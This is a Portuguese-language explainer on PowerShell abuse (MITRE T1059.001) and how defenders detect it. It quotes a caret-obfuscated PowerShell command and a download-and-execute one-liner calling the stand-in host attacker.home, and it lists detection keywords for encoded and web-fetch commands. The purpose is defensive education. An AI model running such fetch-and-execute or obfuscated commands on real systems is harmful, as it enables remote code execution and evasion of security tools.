PowerShell é uma sub-técnica de “Command and Scripting Interpreter” classificada pelo MITRE pelo ID T1059.001 sendo ela uma tática de “Execution”. O PowerShell é uma poderosa interface de linha de comando interativa e ambiente de script incluído no sistema operacional Windows. Os invasores podem usar o PowerShell para realizar uma série de ações, incluindo descobertas de informações e execução de código. Os exemplos incluem o cmdlet, Star-Process, que pode ser usado para executar um arquivo executável e o cmdlet Invoke-Command que executa um comando localmente ou em um computador remoto.
Motivos que fazem com que invasores usem o PowerShell em ataques:
O PowerShell é instalado por padrão em todos os sistemas operacionais Windows pós Vista e o Server 2008.
> O código pode ser executado na memória sem tocar no disco.
> O PowerShell é anti-forense e oferece poucos traços no sistema de destino em condições normais.
> O PowerShell é uma linguagem de script e os códigos do PowerShell podem ser ofuscados facilmente. Isso dificulta a detecção com as ferramentas de segurança tradicionais.
> Ao proteger sistemas, o PowerShell geralmente é ignorado.
> Como o próprio PowerShell.exe é um processo do sistema operacional assinado e legal, a maioria dos aplicativos são ignorados durante a validação dos produtos na lista de permissões.
> Com o PowerShell, quase tudo pode ser feito em alto e baixo nível.
> O PowerShell pode acessar o .NET Framework e as chamadas do sistema.
> Em circunstâncias normais, o PowerShell pode ser chamado de qualquer linguagem que permita a execução de comandos no sistema operacional. Por exemplo, .BAT, .DOC, .XLS, .PPT, .HTA, .EXE, .DLL etc.
Os problemas para se detectar um ataque de PowerShell:
Como dito antes, o problema em criar o monitoramento de ataques de PowerShell é que por ele ser anti-forense ele oferece poucos traços no sistema, além de que se o recurso “Remoting” estiver ativado, poderá acessar o sistema por uma via criptografada e o PowerShell por ser um processo padrão do sistema operacional, a maioria dos aplicativos são ignorados durante a validação dos produtos na lista de permissões.
Como os invasores usam o PowerShell?
É o mais usado para executar scripts e payloads remotamente. Vemos regularmente invasores aproveitando macros incorporados para utilizar o PowerShell a partir de documentos do Office.
Alguns métodos usados pelos invasores na execução dos ataques:
Privilege Escalation: É uma forma comum de execução de malware usando a linha de comando do PowerShell. Embora o PowerShell não possa executar scripts por padrão, a maioria dos usuários / administradores reativa isso para que possam usar scripts em suas atividades diárias ou executá-los no login. Existem também várias maneiras de contornar essa restrição usando o argumento “-command”.
Obfuscation: A ofuscação de scripts do PowerShell assume muitas formas. Os ataques essencialmente ocultam comandos do software de segurança por meio de técnicas inteligentes, como codificação e escape. Por exemplo, uma técnica comum é escapar dos comandos usando crases ou circunflexos, como o seguinte exemplo:
powershell.exe -c ^ o ^ m ^ m ^ a ^ n ^ d -F ^ i ^ l ^ e “script.ps1”
Outras técnicas incluem o uso de codificação para ocultar comandos de codificação base64, usando a palavra-chave “-encodedcommand” na linha de comando.
Scripts Compilados: Para evitar o problema, algumas organizações usam uma Black List para bloquear totalmente a execução do script por meio do Powershell.exe. No entanto, há muitas maneiras de contornar isso da perspectiva dos invasores que não exigem que o PowerShell seja executado. O malware pode executar shells alternativos para executar seus scripts maliciosos usando executáveis personalizados. Qualquer software de segurança precisa ser capaz de detectar tal execução, independentemente de como ela se manifesta no terminal.
Exploit Kits: Os kits de ferramentas de exploração agora são muito comuns, como PowerSploit e Mimikatz . Esses kits foram projetados especificamente para contornar e roubar as credenciais do dispositivo e do usuário para executar ataques laterais mais sérios dentro de uma rede.
Download e Execução Remotas: A execução remota de código é outra técnica poderosa empregada pelo malware para não ser detectado. Comandos como os seguintes podem ser usados para executar um script remoto sem nunca tocar na máquina do usuário. Como tal, é crucial que essas técnicas sejam evitadas na origem.
powershell.exe -command “iex (New-Object Net.WebClient) .DownloadString (‘http: //attacker.home/myscript.ps1’)”
Detecção
Não existe um forma única de se observar e detectar o PowerShell e forma confiável em todas as suas formas variadas. O AMSI (Antimalware Scan Interface) é muito eficaz na detecção de usos maliciosos do PowerShell, mas pode produzir grandes volumes de dados sem contexto se você não tiver algum tipo de rastreamento de evento habilitado. O log ScriptBlock fornece um nível tremendo de visibilidade da atividade do PowerShell que ele registra, mas não é capaz de registrar o PowerShell que é injetado diretamente na memória.
Para aumentar essa confusão, algumas versões de certas plataformas EDR são capazes de coletar PowerShell injetado diretamente e outras não. Idealmente, as equipes de segurança podem executar AMSI para alertar sobre o que a Microsoft considera ser o PowerShell malicioso, usar o log ScriptBlock para obter visibilidade em alguns usos do PowerShell e, em seguida, aproveitar a telemetria de uma plataforma EDR para obter visibilidade sobre o uso do PowerShell na memória. O benefício adicional de ter AMSI em execução em seu ambiente é que ele fornece visibilidade em JavaScript, WScript, CScript, VBScript, macros VBA e Controle de conta de usuário (UAC).
Sugestões de detecção
Depois de coletar os logs necessários para observar as instâncias mal-intencionadas do PowerShell, você pode começar a procurar interações de processos e outros artefatos que alertarão de forma confiável sua equipe de segurança sobre comportamentos anômalos e potencialmente mal-intencionados. Muitas dessas sugestões dependem do ambiente e variam em eficácia de uma organização para outra.
Um bom lugar para começar é uma revisão dos comandos codificados. Nem todos os comandos codificados são maliciosos, mas a maioria dos comandos maliciosos são codificados. A busca por linhas de comando codificadas ou ofuscadas fornecerá valor de forma consistente na busca por atividades maliciosas. Embora possa ser barulhento em alguns ambientes, você deve considerar a busca por:
Todas as variações do switch de comando codificado. ( -e, -en, -enc, /en, entre outras)
Strings como Base64
Uso de caracteres de ofuscação, como ^.
Evitando possíveis falsos positivos
Comece a colocar na lista de permissões comandos codificados comuns observados em seu ambiente relacionados a aplicativos conhecidos e atividades de TI aprovadas. O ajuste constante de seus critérios de detecção melhora a fidelidade dos alertas, o que economiza tempo de análise e reduz a fadiga do alerta em seu SOC.
Pode ser útil monitorar todas as tarefas agendadas que foram criadas usando o PowerShell em seu ambiente. Se você for capaz de filtrar certas linhas de comando, vale a pena procurar por quaisquer URLs que contenham. As ideias de alerta a seguir encontrarão o PowerShell malicioso de forma confiável, mas também podem gerar muitos falsos positivos:
Linhas de comando como “http” e observe comandos como “inovoke-webrequest, iwr, downloadString, cURL e wget”
Comandos que utilizem .NET para módulos como System.Net.WebRequest
De uma perspectiva de EDR, rastrear a ancestralidade do processo é outra boa estratégia de detecção do PowerShell. O PowerShell malicioso geralmente se origina de um processo pai incomum, como aplicativos do Microsoft Office, como Word ou Excel, como é comum em ataques de phishing carregados de macro.
De uma perspectiva geral, é muito importante estar atento e observando quando pode ocorrer atividades maliciosas por meio do PowerShell. Garantir que seu sistema de monitoramento esteja detectando esta técnica pode gerar ganhos significativos para prevenção contra impactos causados por invasores.